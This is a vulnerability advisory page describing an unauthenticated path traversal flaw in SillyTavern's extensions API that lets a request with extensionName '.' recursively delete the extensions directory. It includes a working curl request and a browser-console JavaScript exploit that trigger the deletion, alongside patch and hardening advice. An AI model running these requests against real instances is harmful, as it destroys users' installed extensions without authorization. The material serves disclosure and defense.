SillyTavern, Unauthenticated Path Traversal Directory Deletion, CVE-N/A (critical)

Listen to this Post

The vulnerability exists in the `/api/extensions/delete` endpoint due to improper order of validation and sanitization. The endpoint accepts a JSON body parameter extensionName. In default configuration (no authentication), an attacker can supply extensionName: ".". The code first checks if `request.body.extensionName` is truthy – `”.”` passes because it is non-empty. Then it calls `sanitize(extensionName)` from the `sanitize-filename` library, which by design converts a single dot `”.”` to an empty string "". The `path.join(basePath, “”)` returns the `basePath` itself (data\default-user\extensions). Finally, `fs.promises.rm(extensionPath, { recursive: true })` deletes the entire extensions directory recursively. No further path traversal guard exists. The same flawed pattern appears in /api/extensions/update, /version, /branches, and `/switch` endpoints. A proof of concept using browser console fetches the CSRF token, then sends a POST request with {"extensionName":"."}. This deletes all locally installed third-party extensions irrecoverably. The impact is severe because any network-accessible user can trigger deletion without any credentials. With `global: true` and admin privileges, the global extensions directory shared across all users is also vulnerable. The issue was tested on Windows 10, SillyTavern v1.17.0 (commit 004f1336e). The root cause is validation before sanitization; the fix requires checking after sanitization and adding path traversal guards.

dailycve form:

Platform: SillyTavern
Version: v1.17.0
Vulnerability: Unauthenticated dir deletion
Severity: Critical
date: 2025-05-12

Prediction: Patch within 14 days

What Undercode Say:

Analytics:

Count vulnerable endpoints
grep -r "if (!request.body.extensionName)" src/endpoints/extensions.js
Simulate attack impact
curl -X POST http://localhost:8000/api/extensions/delete \
-H "Content-Type: application/json" \
-d '{"extensionName":"."}'
Check before/after extensions
curl http://localhost:8000/api/extensions/discover | jq '.[] | select(.type=="local")'

how Exploit:

  1. Open browser to SillyTavern instance (no auth needed).

2. Run in F12 console:

(async () => {
const { token } = await (await fetch('/csrf-token')).json();
await fetch('/api/extensions/delete', {
method: 'POST',
headers: { 'Content-Type': 'application/json', 'X-CSRF-Token': token },
body: JSON.stringify({ extensionName: '.' })
});
})();

3. All local extensions vanish after page reload.

Protection from this CVE

  • Apply patch: move `if (!sanitized)` after sanitization, then validate resolved path stays under basePath.
  • Upgrade to fixed commit (e.g., > 3ad9b05e2).
  • Enable `basicAuthMode: true` to require authentication.
  • Use reverse proxy with access control (e.g., allow localhost only).

Impact:

  • Permanent loss of all third-party extensions without recovery.
  • Disruption of SillyTavern functionality reliant on extensions.
  • Chaining with CVE-2025-59159 (DNS rebinding) enables remote unauthenticated exploitation from malicious websites.
  • Global extensions deletion affects all users if admin privileges and `global: true` are set.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top